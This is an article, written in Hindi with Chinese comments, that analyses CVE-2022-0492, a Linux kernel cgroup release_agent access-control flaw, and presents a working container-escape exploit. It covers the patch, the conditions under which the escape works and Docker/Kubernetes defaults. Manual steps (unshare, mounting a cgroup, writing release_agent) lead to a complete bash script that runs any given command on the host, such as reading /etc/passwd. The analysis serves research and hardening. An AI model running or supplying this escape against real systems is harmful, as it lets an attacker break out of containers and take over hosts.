
CVE-2022-0492 EXP और विश्लेषण लेख
[toc]
भेद्यता आईडी: CVE-2022-0492
भेद्यता उत्पाद: linux kernel - cgroup
प्रभावित संस्करण: ~linux kernel 5.17-rc3
भेद्यता प्रभाव: जब कंटेनर में अतिरिक्त सुरक्षा उपाय सक्षम नहीं होते हैं, तो कंटेनर के अंदर root विशेषाधिकार प्राप्त करके होस्ट में एस्केप किया जा सकता है।
भेद्यता वाले संस्करण के कर्नेल वाले linux में docker का उपयोग करना पर्याप्त है।
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
इस लेख में प्रयोगात्मक वातावरण के रूप में docker का उपयोग किया गया है।
इस भेद्यता का शोषण तरीका पहले से ही पुराना परिचित है, लेकिन भेद्यता का मूल बिंदु cgroup के release_agent को संशोधित करने में अनुमति सत्यापन की कमी है, जिससे एस्केप शोषण की सीमा और कम हो गई है (पहले CAP_SYS_ADMIN अनुमति की आवश्यकता थी, इस भेद्यता को CAP_SYS_ADMIN की आवश्यकता नहीं है)। विशिष्ट शोषण शर्तों में अंतर के लिए नीचे "उपयोग की शर्तें" देखें।
पैच का विश्लेषण करने पर, cgroup_release_agent_write फ़ंक्शन को पैच किया गया और प्रमाणीकरण जोड़ा गया। इसका मतलब है कि cgroup के release_agent को अब बिना अनुमति वाले उपयोगकर्ताओं द्वारा संशोधित नहीं किया जा सकता:

इसलिए यह निर्धारित किया गया है कि यह भेद्यता विफल एक्सेस नियंत्रण (broken access control) है।
cgroup अर्थात Linux Control Group, Linux कर्नेल की एक क्षमता है, जिसका उपयोग प्रक्रिया समूहों के संसाधनों (जैसे CPU, मेमोरी, डिस्क इनपुट/आउटपुट आदि) को सीमित, नियंत्रित और अलग करने के लिए किया जाता है।
cgroup में निम्नलिखित उपप्रणालियाँ हैं:
devices प्रक्रिया-स्तरीय डिवाइस अनुमतियाँcpuset प्रक्रियाओं द्वारा उपयोग किए जा सकने वाले CPU और मेमोरी नोड्स आवंटित करता हैcpu CPU उपयोग दर नियंत्रित करता हैcpuacct CPU उपयोग आँकड़े, जैसे रन टाइम, थ्रॉटल समयfreezer Cgroup में प्रक्रियाओं को रोकता हैnet_cls tc (traffic controller) के साथ मिलकर नेटवर्क बैंडविड्थ सीमित करता हैnet_prio प्रक्रियाओं के नेटवर्क ट्रैफ़िक प्राथमिकता सेट करता हैhuge_tlb HugeTLB के उपयोग को सीमित करता हैperf_event Perf टूल को Cgroup समूहों के आधार पर प्रदर्शन परीक्षण करने की अनुमति देता हैहोस्ट में सभी cgroup /sys/fs/cgroup के अंतर्गत होते हैं, और विभिन्न cgroup उपप्रणालियों को देखा जा सकता है:

docker में संबंधित cgroup उपप्रणाली होस्ट में उस cgroup का चाइल्ड नोड है। docker में memory cgroup देखें:

होस्ट के docker निर्देशिका में संबंधित कंटेनर नाम नोड बिल्कुल समान है:

cgroup का उपयोग फ़ाइल सिस्टम के रूप में किया जाता है। mount के माध्यम से cgroup को एक निर्देशिका में माउंट किया जाता है। cgroup VFS वर्चुअल फ़ाइल सिस्टम के माध्यम से हमारे साथ इंटरैक्ट करता है। cgroup के इंटरफ़ेस फ़ाइलों के रूप में प्रस्तुत होते हैं, और फ़ाइल संचालन विधियों का उपयोग करके cgroup के लिए कुछ पैरामीटर सेट किए जा सकते हैं।
mount -t cgroup -o memory cgroup /tmp/testcgroup

निर्देशिका में उपनिर्देशिका बनाकर cgroup चाइल्ड नोड बनाया जा सकता है: mkdir /tmp/testcgroup/x।
cgroup के प्रत्येक subsystem में notify_on_release पैरामीटर होता है। यह पैरामीटर मान Boolean प्रकार का होता है, 1 या 0। यह क्रमशः रिलीज़ एजेंट निर्देश को सक्षम और अक्षम कर सकता है। यदि notify_on_release सक्षम (1) है, जब cgroup में कोई कार्य नहीं होता है (अर्थात जब cgroup में अंतिम प्रक्रिया बाहर निकलती है, और cgroup की tasks फ़ाइल में PID खाली होता है), तो कर्नेल release_agent पैरामीटर द्वारा निर्दिष्ट फ़ाइल की सामग्री निष्पादित करेगा। notify_on_release फ़ाइल को संशोधित करके notify_on_release का मान बदला जाता है।

भेद्यता release_agent के संशोधन में है। मूल रूप से, जब तक कोई cgroup को संचालित कर सकता था, release_agent को संशोधित किया जा सकता था, और cgroup का उपयोग करने के लिए CAP_SYS_ADMIN की आवश्यकता होती थी। लेकिन बाद में शोधकर्ताओं ने पाया कि unshare कमांड के माध्यम से नया namespace बनाने पर सभी capabilities प्राप्त हो सकती हैं, इसलिए CAP_SYS_ADMIN की सीमा समाप्त हो गई, और भेद्यता के शोषण की सीमा बहुत कम हो गई।
unshare कमांड का कार्य निर्दिष्ट शेयर्ड पैरेंट प्रक्रिया में निर्दिष्ट namespace को रद्द करना है, फिर निर्दिष्ट प्रोग्राम को निष्पादित करना और नव निर्मित namespace में शामिल होना है। हमारे भेद्यता शोषण से संबंधित महत्वपूर्ण बात यह है कि unshare द्वारा नव निर्मित namespace में CAP_SYS_ADMIN सहित सभी capabilities होती हैं।

इस भेद्यता का शोषण पारंपरिक CAP_SYS_ADMIN + cgroup release_agent एस्केप विधि के समान है, लेकिन शोषण की शर्तों में अंतर है।
भेद्यता शोषण की शर्तें और पारंपरिक release_agent एस्केप की शर्तों के बीच अंतर:
पारंपरिक release_agent: कंटेनर के पास CAP_SYS_ADMIN होना चाहिए और apparmor, selinux सक्षम नहीं होना चाहिए।
cve-2022-0492: कंटेनर बिना किसी सुरक्षा के (अधिक विशेष रूप से, seccomp unshare को अक्षम नहीं करता, apparmor cgroup को केवल-पढ़ने के लिए सक्षम नहीं करता, selinux बंद है), और कंटेनर के अंदर root विशेषाधिकार प्राप्त करना। CAP_SYS_ADMIN प्राप्त करने की आवश्यकता नहीं है।
उल्लेखनीय है कि docker का apparmor डिफ़ॉल्ट रूप से cgroup को केवल-पढ़ने के लिए सक्षम करता है, और docker का seccomp डिफ़ॉल्ट रूप से गैर-CAP_SYS_ADMIN अनुमति के तहत unshare को अक्षम करता है। k8s डिफ़ॉल्ट रूप से आमतौर पर बिना सुरक्षा वाले कंटेनर होते हैं। कुल मिलाकर, क्योंकि शोषण अपेक्षाकृत आसान है, आप विशिष्ट परिदृश्यों में इसे आज़मा सकते हैं।
भेद्यता ठीक होने के बाद: पैच के कोड के अनुसार:

release_agent फ़ाइल को संशोधित करने के लिए दो शर्तों को पूरा करना आवश्यक है:
इसलिए भेद्यता ठीक होने के बाद, unshare के माध्यम से प्राप्त CAP_SYS_ADMIN अनुमति अब release_agent को संशोधित नहीं कर सकती, क्योंकि unshare द्वारा प्राप्त नया namespace रूट namespace नहीं है। लेकिन यदि कंटेनर में पहले से ही CAP_SYS_ADMIN अनुमति है, तो इस विधि का उपयोग करके एस्केप जारी रखा जा सकता है।
यदि docker स्टार्टअप में --cap-add=SYS_ADMIN पैरामीटर या --privileged (विशेषाधिकार प्राप्त कंटेनर) है, तो CAP_SYS_ADMIN अनुमति पहले से मौजूद होती है और हमें इसे अतिरिक्त रूप से प्राप्त करने की आवश्यकता नहीं होती है, जैसे निम्नलिखित स्टार्टअप कमांड:
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
CAP_SYS_ADMIN अनुमति वाले docker सीधे अगले चरण "release_agent संशोधित करें" पर जा सकते हैं। बिना CAP_SYS_ADMIN अनुमति वाले docker को शुरू करने और भेद्यता को दोहराने का कमांड:
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
CAP_SYS_ADMIN नहीं होने पर, निम्नलिखित unshare कमांड के माध्यम से CAP_SYS_ADMIN अनुमति प्राप्त करें:
unshare -UrmC --propagation=unchanged bash
नव प्राप्त namespace में सभी capabilities अनुमतियाँ होती हैं।

cgroup को एक निर्देशिका में माउंट करने के लिए, इस चरण में mount का उपयोग होता है, इसलिए CAP_SYS_ADMIN अनुमति की आवश्यकता होती है। पिछले चरण के बाद, हमारे पास या तो पहले से CAP_SYS_ADMIN होता है, या unshare के माध्यम से CAP_SYS_ADMIN प्राप्त हो चुका होता है। इसके अलावा, हमें अभी माउंट किए गए cgroup में एक cgroup नोड बनाना होगा, ताकि बाद में कार्यों को खाली करने के संचालन की सुविधा हो:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
यदि memory को mount नहीं किया जा सकता या memory में release_agent नहीं है, तो अन्य cgroup उपप्रणालियों का उपयोग किया जा सकता है।
/etc/mtab फ़ाइल के माध्यम से माउंटेड docker overlay फ़ाइल सिस्टम की जानकारी देखी जा सकती है। upperdir होस्ट पर कंटेनर की रूट निर्देशिका का पूर्ण पथ है:

निम्नलिखित कमांड से प्राप्त किया जा सकता है:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
notify_on_release को 1 पर सेट करें, ताकि task प्रक्रियाएँ खाली होने के बाद release_agent कार्यक्षमता निष्पादित हो:
echo 1 > /tmp/testcgroup/x/notify_no_release
release_agent ट्रिगर होने पर निष्पादित होने वाली फ़ाइल बनाएँ:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
release_agent को संशोधित करें, जो होस्ट में cmd फ़ाइल के पथ की ओर इंगित करे (ऊपर हमने होस्ट में कंटेनर की रूट निर्देशिका का पथ पहले ही प्राप्त कर लिया है):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
इसके बाद, x cgroup नोड में एक कार्य जोड़ें, और अपने स्वयं के sh का pid cgroup.procs में लिखें।
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
sh कमांड केवल एक echo निर्देश निष्पादित करता है और एक पल में समाप्त हो जाता है, इसलिए x cgroup नोड में कोई कार्य नहीं रहता। यह notify_on_release को ट्रिगर करता है, जो release_agent द्वारा इंगित /cmd फ़ाइल को निष्पादित करता है। कर्नेल ट्रिगर होकर कंटेनर के बाहर हमारे निर्दिष्ट कमांड को चलाता है, जिससे एस्केप पूरा होता है। एस्केप सफल:

प्रवाह के अनुसार एक exp लिखा:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
सीधे चलाएँ, और जिस कमांड को आप एस्केप करके निष्पादित करना चाहते हैं उसे पैरामीटर के रूप में दें, जैसे: ./exp.sh "cat /etc/passwd"
एस्केप सफल:

docker की डिफ़ॉल्ट स्थिति seccomp और apparmor सक्षम होती है, इसलिए भेद्यता डिफ़ॉल्ट नियमों वाले seccomp और apparmor वाले कंटेनर से एस्केप नहीं कर सकती। k8s में डिफ़ॉल्ट रूप से कोई सुरक्षा उपाय नहीं होते, इसलिए seccomp और apparmor या selinux को मैन्युअल रूप से सक्षम करना आवश्यक है।
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
इसके अलावा, इस भेद्यता को खोजने वाले लोगों से भी पूछा गया।